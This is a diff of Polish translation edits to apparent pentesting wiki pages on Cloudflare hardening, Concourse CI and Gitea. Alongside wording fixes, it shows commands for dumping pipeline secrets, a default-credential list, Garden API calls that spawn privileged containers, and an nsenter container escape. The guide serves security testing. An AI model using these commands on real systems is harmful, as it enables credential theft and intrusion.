- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w czystym tekście** w pewnym momencie.
|
||||
- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w postaci czystego tekstu** w pewnym momencie.
|
||||
- [ ] **Rekomendator SSL/TLS** powinien być włączony
|
||||
|
||||
#### Certyfikaty krawędziowe
|
||||
@@ -57,21 +57,21 @@ TODO
|
||||
- [ ] W sekcji **`Page Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakakolwiek strona jest używana
|
||||
- [ ] W sekcji **`API Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakiekolwiek API jest wystawione w Cloudflare
|
||||
- [ ] W sekcji **`DDoS`** zaleca się włączenie **ochrony DDoS**
|
||||
- [ ] W sekcji **`Settings`**:
|
||||
- [ ] W sekcji **`Ustawienia`**:
|
||||
- [ ] Sprawdź, czy **`Poziom bezpieczeństwa`** jest **średni** lub wyższy
|
||||
- [ ] Sprawdź, czy **`Czas wyzwania`** wynosi maksymalnie 1 godzinę
|
||||
- [ ] Sprawdź, czy **`Czas trwania wyzwania`** wynosi maksymalnie 1 godzinę
|
||||
- [ ] Sprawdź, czy **`Sprawdzanie integralności przeglądarki`** jest **włączone**
|
||||
- [ ] Sprawdź, czy **`Wsparcie dla Privacy Pass`** jest **włączone**
|
||||
|
||||
#### **Ochrona DDoS CloudFlare**
|
||||
|
||||
- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez zakłócania tego dostępu.
|
||||
- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, ciasteczka, referera...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają ciasteczka.
|
||||
- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez przerwania tego dostępu.
|
||||
- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, ciasteczka, odsyłacza...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają ciasteczka.
|
||||
- Jeśli atak pochodzi od **zweryfikowanego bota**, przynajmniej **dodaj ograniczenie liczby połączeń** dla botów.
|
||||
- Jeśli atak jest skierowany na **konkretną ścieżkę**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce.
|
||||
- Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN z **Narzędzi** w WAF.
|
||||
- Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN-y z **Narzędzi** w WAF.
|
||||
- Sprawdź, czy **Zarządzane zasady** mogą również pomóc w zapobieganiu wykorzystaniu podatności.
|
||||
- W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie dla konkretnych IP** i **agentów użytkownika.**
|
||||
- W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie konkretnym IP** i **agentom użytkownika.**
|
||||
- W DDoS możesz **nadpisać niektóre zasady, aby były bardziej restrykcyjne**.
|
||||
- **Ustawienia**: Ustaw **Poziom bezpieczeństwa** na **Wysoki** i na **Pod atakiem**, jeśli jesteś pod atakiem i **Sprawdzanie integralności przeglądarki jest włączone**.
|
||||
- W Cloudflare Domains -> Analiza -> Bezpieczeństwo -> Sprawdź, czy **ograniczenie liczby połączeń** jest włączone
|
||||
@@ -89,7 +89,7 @@ _Nie mogłem znaleźć żadnej opcji związanej z bezpieczeństwem_
|
||||
|
||||
### Caching
|
||||
|
||||
- [ ] W sekcji **`Configuration`** rozważ włączenie **Narzędzia skanowania CSAM**
|
||||
- [ ] W sekcji **`Konfiguracja`** rozważ włączenie **Narzędzia skanowania CSAM**
|
||||
|
||||
### **Trasy pracowników**
|
||||
|
||||
@@ -111,7 +111,7 @@ TODO
|
||||
|
||||
### Strony niestandardowe
|
||||
|
||||
- [ ] Opcjonalnie można skonfigurować strony niestandardowe, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub jestem w trybie ataku)
|
||||
- [ ] Opcjonalnie można skonfigurować strony niestandardowe, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub tryb pod atakiem)
|
||||
|
||||
### Aplikacje
|
||||
|
||||
@@ -119,7 +119,7 @@ TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] Sprawdź, czy **Zamaskowanie adresu e-mail** jest **włączone**
|
||||
- [ ] Sprawdź, czy **Zaszyfrowanie adresu e-mail** jest **włączone**
|
||||
- [ ] Sprawdź, czy **Wykluczenia po stronie serwera** są **włączone**
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -14,13 +14,13 @@
|
||||
|
||||
ATC jest sercem Concourse. Uruchamia **interfejs webowy i API** i jest odpowiedzialne za cały **harmonogram pipeline'ów**. **Łączy się z PostgreSQL**, którego używa do przechowywania danych pipeline'ów (w tym logów budowy).
|
||||
|
||||
Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za harmonogram budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny.
|
||||
Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za planowanie budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny.
|
||||
|
||||
#### TSA: rejestracja pracowników i przekazywanie
|
||||
|
||||
TSA to **serwer SSH zbudowany na zamówienie**, który jest używany wyłącznie do bezpiecznej **rejestracji** [**pracowników**](https://concourse-ci.org/internals.html#architecture-worker) w [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj znajduje się w tym samym miejscu co [ATC](https://concourse-ci.org/internals.html#component-atc) i jest umieszczone za równoważnikiem obciążenia.
|
||||
TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj jest współlokowane z [ATC](https://concourse-ci.org/internals.html#component-atc) oraz znajduje się za równoważnikiem obciążenia.
|
||||
|
||||
**TSA implementuje CLI przez połączenie SSH,** wspierając [**te polecenia**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ Concourse ma pięć ról:
|
||||
|
||||
Zauważ, że Concourse **grupuje pipeline w zespołach**. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline i **może istnieć kilka zespołów**. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich.
|
||||
|
||||
### Vars i Menedżer poświadczeń
|
||||
### Vars & Menedżer poświadczeń
|
||||
|
||||
W konfiguracjach YAML możesz konfigurować wartości używając składni `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[Z dokumentacji:](https://concourse-ci.org/vars.html#var-syntax) **source-name jest opcjonalny**, a jeśli zostanie pominięty, zostanie użyty [menedżer poświadczeń w skali klastra](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), lub wartość może być podana [statycznie](https://concourse-ci.org/vars.html#static-vars).\
|
||||
@@ -36,65 +36,7 @@ vars: { tag: 1.13 }
|
||||
```
|
||||
Or using the following `fly` **arguments**:
|
||||
|
||||
- `-v` or `--var` `NAME=VALUE` ustawia ciąg `VALUE` jako wartość dla zmiennej `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` analizuje `VALUE` jako YAML i ustawia go jako wartość dla zmiennej `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` analizuje `VALUE` jako YAML i ustawia go jako wartość dla zmiennej instancji `NAME`. Zobacz [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), aby dowiedzieć się więcej o zmiennych instancji.
|
||||
- `-l` or `--load-vars-from` `FILE` ładuje `FILE`, dokument YAML zawierający mapowanie nazw zmiennych na wartości, i ustawia je wszystkie.
|
||||
|
||||
#### Zarządzanie poświadczeniami
|
||||
|
||||
Istnieją różne sposoby, w jakie **Menadżer Poświadczeń może być określony** w potoku, przeczytaj jak w [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Ponadto, Concourse obsługuje różne menedżery poświadczeń:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
|
||||
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
|
||||
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
|
||||
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
|
||||
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
|
||||
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Zauważ, że jeśli masz jakiś rodzaj **dostępu do zapisu do Concourse**, możesz tworzyć zadania, aby **wykradać te sekrety**, ponieważ Concourse musi mieć możliwość ich dostępu.
|
||||
|
||||
### Enumeracja Concourse
|
||||
|
||||
Aby enumerować środowisko Concourse, musisz najpierw **zgromadzić ważne poświadczenia** lub znaleźć **uwierzytelniony token**, prawdopodobnie w pliku konfiguracyjnym `.flyrc`.
|
||||
|
||||
#### Logowanie i enumeracja bieżącego użytkownika
|
||||
|
||||
- Aby się zalogować, musisz znać **punkt końcowy**, **nazwę zespołu** (domyślnie `main`) oraz **zespół, do którego należy użytkownik**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Uzyskaj skonfigurowane **cele**:
|
||||
- `fly targets`
|
||||
- Sprawdź, czy skonfigurowane **połączenie z celem** jest nadal **ważne**:
|
||||
- `fly -t <target> status`
|
||||
- Uzyskaj **rolę** użytkownika w stosunku do wskazanego celu:
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Zauważ, że **token API** jest **zapisywany** w `$HOME/.flyrc` domyślnie, przeszukując maszyny, możesz tam znaleźć poświadczenia.
|
||||
|
||||
#### Zespoły i użytkownicy
|
||||
|
||||
- Uzyskaj listę zespołów
|
||||
- `fly -t <target> teams`
|
||||
- Uzyskaj role w zespole
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Uzyskaj listę użytkowników
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Potoki
|
||||
|
||||
- **Lista** potoków:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Uzyskaj** yaml potoku (**wrażliwe informacje** mogą być zawarte w definicji):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Uzyskaj wszystkie **zmienne konfiguracyjne zadeklarowane w potoku**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Uzyskaj wszystkie **nazwy sekretów potoków używanych** (jeśli możesz tworzyć/modyfikować zadanie lub przejąć kontener, możesz je wykradać):
|
||||
-
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
@@ -118,7 +60,7 @@ rm /tmp/secrets.txt
|
||||
|
||||
### Ataki na Concourse
|
||||
|
||||
#### Bruteforce poświadczeń
|
||||
#### Brute-Force na poświadczenia
|
||||
|
||||
- admin:admin
|
||||
- test:test
|
||||
@@ -142,7 +84,7 @@ Z tymi uprawnieniami możesz być w stanie:
|
||||
|
||||
#### Tworzenie/Modyfikacja Pipeline
|
||||
|
||||
Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**) będziesz mógł **tworzyć/modyfikować nowe pipeline.** Sprawdź ten przykład:
|
||||
Jeśli masz wystarczające uprawnienia (**rola członka lub więcej**) będziesz mógł **tworzyć/modyfikować nowe pipeline.** Sprawdź ten przykład:
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
@@ -295,7 +237,7 @@ cat /output
|
||||
|
||||
Nawet jeśli kontener webowy ma wyłączone niektóre zabezpieczenia, **nie działa jako zwykły kontener z uprawnieniami** (na przykład, **nie możesz** **zamontować** i **możliwości** są bardzo **ograniczone**, więc wszystkie łatwe sposoby na ucieczkę z kontenera są bezużyteczne).
|
||||
|
||||
Jednak przechowuje **lokalne poświadczenia w postaci czystego tekstu**:
|
||||
Jednak przechowuje **lokalne poświadczenia w postaci niezaszyfrowanej**:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -332,10 +274,10 @@ select * from users;
|
||||
> [!WARNING]
|
||||
> To tylko kilka interesujących uwag na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego wcześniej nie wykorzystaliśmy
|
||||
|
||||
Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez mistrza sieci do wskazania pracownikowi **co musi wykonać** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń:
|
||||
Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez administratora sieci do wskazania pracownikowi **co ma wykonać** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń:
|
||||
|
||||
- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer WWW mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika.
|
||||
- Serwer WWW **monitoruje działające kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem WWW a usługą garden.
|
||||
- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer webowy mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika.
|
||||
- Serwer webowy **monitoruje uruchomione kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem webowym a usługą garden.
|
||||
|
||||
Pracownicy concourse działają z wysokimi uprawnieniami kontenera:
|
||||
```
|
||||
@@ -376,7 +318,7 @@ nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**Tworzenie nowego uprzywilejowanego kontenera**
|
||||
|
||||
Możesz bardzo łatwo stworzyć nowy kontener (po prostu uruchom losowy UID) i wykonać na nim coś:
|
||||
Możesz bardzo łatwo stworzyć nowy kontener (po prostu uruchom losowy UID) i wykonać coś na nim:
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
@@ -387,7 +329,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
Jednak serwer webowy co kilka sekund sprawdza działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów:
|
||||
Jednak serwer webowy co kilka sekund sprawdza działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie on usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów:
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
|
||||
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i dać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s:
|
||||
Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i przyznać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s:
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -85,9 +85,9 @@ Można użyć kilku różnych typów kroków:
|
||||
- modyfikator kroku [`across`](https://concourse-ci.org/across-step.html#schema.across) uruchamia krok wielokrotnie; raz dla każdej kombinacji wartości zmiennych
|
||||
- krok [`try`](https://concourse-ci.org/try-step.html) próbuje uruchomić krok i odnosi sukces, nawet jeśli krok się nie powiedzie
|
||||
|
||||
Każdy [krok](https://concourse-ci.org/steps.html) w [planie zadania](https://concourse-ci.org/jobs.html#schema.job.plan) działa w **swoim własnym kontenerze**. Możesz uruchomić cokolwiek chcesz wewnątrz kontenera _(tzn. uruchomić moje testy, uruchomić ten skrypt bash, zbudować ten obraz, itd.)_. Więc jeśli masz zadanie z pięcioma krokami, Concourse utworzy pięć kontenerów, po jednym dla każdego kroku.
|
||||
Każdy [krok](https://concourse-ci.org/steps.html) w [planie zadania](https://concourse-ci.org/jobs.html#schema.job.plan) działa w **swoim własnym kontenerze**. Możesz uruchomić wszystko, co chcesz wewnątrz kontenera _(tzn. uruchomić moje testy, uruchomić ten skrypt bash, zbudować ten obraz itp.)_. Więc jeśli masz zadanie z pięcioma krokami, Concourse utworzy pięć kontenerów, po jednym dla każdego kroku.
|
||||
|
||||
Dlatego możliwe jest wskazanie, jaki typ kontenera potrzebuje każdy krok do uruchomienia.
|
||||
Dlatego możliwe jest wskazanie, w jakim typie kontenera każdy krok musi być uruchomiony.
|
||||
|
||||
### Przykład prostego pipeline'a
|
||||
```yaml
|
||||
@@ -125,7 +125,7 @@ fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
Sprawdź **127.0.0.1:8080**, aby zobaczyć przepływ pipeline'u.
|
||||
|
||||
### Skrypt Bash z potokiem wyjścia/wejścia
|
||||
### Skrypt Bash z potokiem wejścia/wyjścia
|
||||
|
||||
Możliwe jest **zapisanie wyników jednego zadania w pliku** i wskazanie, że jest to wyjście, a następnie wskazanie wejścia następnego zadania jako wyjścia poprzedniego zadania. To, co robi concourse, to **zamontowanie katalogu poprzedniego zadania w nowym zadaniu, gdzie możesz uzyskać dostęp do plików utworzonych przez poprzednie zadanie**.
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Co to jest Gitea
|
||||
|
||||
**Gitea** to **rozwiązanie do hostowania kodu zarządzane przez społeczność, samodzielnie hostowane, lekkie**, napisane w Go.
|
||||
**Gitea** to **rozwiązanie do hostingu kodu zarządzane przez społeczność, samodzielnie hostowane, lekkie**, napisane w Go.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -41,7 +41,7 @@ W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github.
|
||||
|
||||
### Z Danymi Użytkownika/Ciastkiem Webowym
|
||||
|
||||
Jeśli w jakiś sposób masz już dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wymienić innych użytkowników** i **jak są chronione repozytoria.**
|
||||
Jeśli w jakiś sposób już masz dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wymienić innych użytkowników** oraz **jak są chronione repozytoria.**
|
||||
|
||||
Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**.
|
||||
|
||||
@@ -50,17 +50,17 @@ Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostę
|
||||
|
||||
### Z Klucza SSH Użytkownika
|
||||
|
||||
Gitea pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (2FA nie jest stosowane).
|
||||
Gitea pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (brak zastosowania 2FA).
|
||||
|
||||
Dzięki temu kluczowi możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
|
||||
Z tym kluczem możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **kluczy publicznych, które ustawił** na swoim koncie w _https://github.com/\<gitea_username>.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
|
||||
Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **publicznych kluczy, które ustawił** na swoim koncie w _https://github.com/\<gitea_username>.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
|
||||
|
||||
**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchamiać projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
|
||||
**Klucze SSH** mogą być również ustawiane w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchamiać projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
|
||||
|
||||
#### Klucze GPG
|
||||
|
||||
@@ -74,7 +74,7 @@ gpg --list-secret-keys --keyid-format=long
|
||||
|
||||
Aby uzyskać wprowadzenie na temat [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** na serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do użytkownika.
|
||||
Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** w serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do użytkownika.
|
||||
|
||||
### Z aplikacją Oauth
|
||||
|
||||
@@ -93,17 +93,17 @@ W Github mamy **github actions**, które domyślnie uzyskują **token z dostępe
|
||||
- **Włącz białą listę scalania**: Jeśli istnieje biała lista scalania, musisz być w jej obrębie.
|
||||
- **Wymagaj, aby zatwierdzenia były większe niż 0**: Wtedy... musisz skompromitować innego użytkownika.
|
||||
- **Ogranicz zatwierdzenia do białej listy**: Jeśli tylko użytkownicy z białej listy mogą zatwierdzać... musisz skompromitować innego użytkownika, który jest na tej liście.
|
||||
- **Odrzuć przestarzałe zatwierdzenia**: Jeśli zatwierdzenia nie są usuwane z nowymi commitami, możesz przejąć już zatwierdzone PR, aby wstrzyknąć swój kod i scalić PR.
|
||||
- **Odrzuć przestarzałe zatwierdzenia**: Jeśli zatwierdzenia nie są usuwane z nowymi commitami, możesz przejąć już zatwierdzone PR, aby wstrzyknąć swój kod i połączyć PR.
|
||||
|
||||
Zauważ, że **jeśli jesteś administratorem org/repo**, możesz obejść te zabezpieczenia.
|
||||
Zauważ, że **jeśli jesteś administratorem org/repo**, możesz obejść zabezpieczenia.
|
||||
|
||||
### Wyliczanie Webhooków
|
||||
|
||||
**Webhooki** mogą **wysyłać konkretne informacje gitea do niektórych miejsc**. Możesz być w stanie **wykorzystać tę komunikację**.\
|
||||
Jednak zazwyczaj w **webhooku** ustawiony jest **sekret**, którego **nie możesz odzyskać**, co **zapobiega** zewnętrznym użytkownikom, którzy znają URL webhooka, ale nie znają sekretu, aby **wykorzystać ten webhook**.\
|
||||
Jednak w niektórych przypadkach, ludzie zamiast ustawić **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać.
|
||||
Jednak w niektórych przypadkach, ludzie zamiast ustawiać **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać.
|
||||
|
||||
Webhooki mogą być ustawione na **poziomie repozytorium i organizacji**.
|
||||
Webhooki mogą być ustawiane na **poziomie repozytorium i organizacji**.
|
||||
|
||||
## Po eksploatacji
|
||||
|
||||
@@ -120,7 +120,7 @@ W ścieżce gitea (domyślnie: /data/gitea) możesz również znaleźć interesu
|
||||
- **klucz prywatny jwt** w folderze jwt.
|
||||
- Więcej **wrażliwych informacji** można znaleźć w tym folderze.
|
||||
|
||||
Jeśli jesteś wewnątrz serwera, możesz również **użyć binarki `gitea`**, aby uzyskać dostęp/modyfikować informacje:
|
||||
Jeśli jesteś wewnątrz serwera, możesz również **użyć binarnego pliku `gitea`** do uzyskiwania/modyfikowania informacji:
|
||||
|
||||
- `gitea dump` zrzuci gitea i wygeneruje plik .zip.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` wygeneruje token wskazanego typu (trwałość).
|
||||
|
||||
@@ -79,7 +79,7 @@ Ochrona gałęzi ma na celu **nieprzekazywanie pełnej kontroli nad repozytorium
|
||||
**Ochrona gałęzi repozytorium** może być znaleziona w _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Nie **można ustawić ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium.
|
||||
> **Nie jest możliwe ustawienie ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium.
|
||||
|
||||
Różne ochrony mogą być stosowane do gałęzi (jak do master):
|
||||
|
||||
@@ -92,7 +92,7 @@ Różne ochrony mogą być stosowane do gałęzi (jak do master):
|
||||
- **Ogranicz zatwierdzenia do białej listy**: Wskaź użytkowników/zespoły, które mogą zatwierdzać PR-y.
|
||||
- **Zablokuj scalanie przy odrzuconych recenzjach**: Jeśli zmiany są wymagane, nie może być scalone (nawet jeśli inne kontrole przejdą)
|
||||
- **Zablokuj scalanie przy oficjalnych prośbach o recenzję**: Jeśli są oficjalne prośby o recenzję, nie może być scalone
|
||||
- **Odrzuć przestarzałe zatwierdzenia**: Gdy pojawią się nowe commity, stare zatwierdzenia zostaną odrzucone.
|
||||
- **Odrzuć przestarzałe zatwierdzenia**: Przy nowych commitach, stare zatwierdzenia będą odrzucane.
|
||||
- **Wymagaj podpisanych commitów**: Commity muszą być podpisane.
|
||||
- **Zablokuj scalanie, jeśli pull request jest przestarzały**
|
||||
- **Wzory plików chronionych/niechronionych**: Wskaź wzory plików do ochrony/od ochrony przed zmianami
|
||||
|
||||
@@ -20,11 +20,11 @@ Repozytoria Github mogą być skonfigurowane jako publiczne, prywatne i wewnętr
|
||||
- **Wewnętrzne** oznacza, że **tylko** osoby z **przedsiębiorstwa** (przedsiębiorstwo może mieć kilka organizacji) będą mogły uzyskać do nich dostęp
|
||||
- **Publiczne** oznacza, że **cały internet** będzie mógł uzyskać do nich dostęp.
|
||||
|
||||
W przypadku, gdy znasz **użytkownika, repo lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repo**.
|
||||
